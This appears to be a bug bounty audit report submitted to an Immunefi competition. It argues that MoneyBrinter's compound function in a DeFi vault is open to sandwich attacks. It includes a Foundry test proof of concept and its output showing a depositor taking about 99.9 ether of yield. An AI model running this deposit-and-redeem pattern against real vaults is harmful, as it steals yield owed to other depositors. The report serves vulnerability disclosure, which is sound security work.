#41526 [SC-Medium] MoneyBrinter::compound can be vulnerable to sandwich attacks
Submitted on Mar 16th 2025 at 08:53:45 UTC by @coffiasd for Audit Comp | Yeet
Report ID: #41526
Report Type: Smart Contract
Report severity: Medium
Target: https://github.com/immunefi-team/audit-comp-yeet/blob/main/src/contracts/MoneyBrinter.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
The MoneyBrinter::compound function first swaps multiple tokens for token0 and token1. Instead of depositing these tokens into an ERC4626 vault to mint shares, it deposits them into the BeradromeFarmPlugin to add additional underlying assets. This process can be vulnerable to sandwich attacks.
Vulnerability Details
function compound(
address[] calldata swapInputTokens,
IZapper.SingleTokenSwap[] calldata swapToToken0,
IZapper.SingleTokenSwap[] calldata swapToToken1,
IZapper.KodiakVaultStakingParams calldata stakingParams,
IZapper.VaultDepositParams calldata vaultStakingParams
) public override onlyStrategyManager nonReentrant returns (uint256) {
.....
(uint256 islandTokensMinted, uint256 vaultSharesMinted) =
zapper.zapInWithMultipleTokens(swapParams, stakingParams, vaultStakingParams);
require(vaultSharesMinted == 0, "MoneyBrinter: vault shares minted while compounding");
require(islandTokensMinted >= stakingParams.amountSharesMin, "MoneyBrinter: not enough island tokens minted");
// deposit into farm
emit VaultCompounded(_msgSender(), islandTokensMinted);
_depositIntoFarm(islandTokensMinted);
From above code we can see the vaultSharesMinted
is zero , this function does't mint some ERC4626 shares, it use _depositIntoFarm
to deposit underlying assets(kodiakVaultTokensMinted) into beradromeFarmPlugin
.
This function can make ERC4626 shares holder withdraw more underlying assets.
Impact Details
compound can be vulnerable to sandwich attacks, result in attacker takes profit
References
https://github.com/immunefi-team/audit-comp-yeet/blob/main/src/contracts/MoneyBrinter.sol?utm_source=immunefi#L199-L227
Proof of Concept
Proof of Concept
Test:
function testDepositIntoVaultSandWichAttack2() public {
address manager = address(0x1001);
fundUser(manager,100 ether);
fundUser(bob,2 ether);
approveToVault(bob, 2 ether);
vm.prank(bob);
vault.deposit(2 ether, bob);
fundUser(alice,2000 ether);
assertEq(asset.balanceOf(alice),2000 ether);
approveToVault(alice, 2000 ether);
vm.prank(alice);
vault.deposit(2000 ether, alice);
vm.startPrank(manager);
asset.approve(address(vault.beradromeFarmPlugin()), type(uint256).max);
IPlugin(address(vault.beradromeFarmPlugin())).depositFor(address(vault), 100 ether);
vm.stopPrank();
//alice withdraw.
vm.startPrank(alice);
vault.redeem(vault.balanceOf(alice), alice, alice);
console2.log("alice profit:",asset.balanceOf(alice) - 2000 ether);
}
Please note that depositFor() works same as compound() function
Out:
[PASS] testDepositIntoVaultSandWichAttack2() (gas: 413052)
Logs:
alice profit: 99900099900099900099
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.90ms (551.50µs CPU time)
Ran 1 test suite in 135.00ms (1.90ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Was this helpful?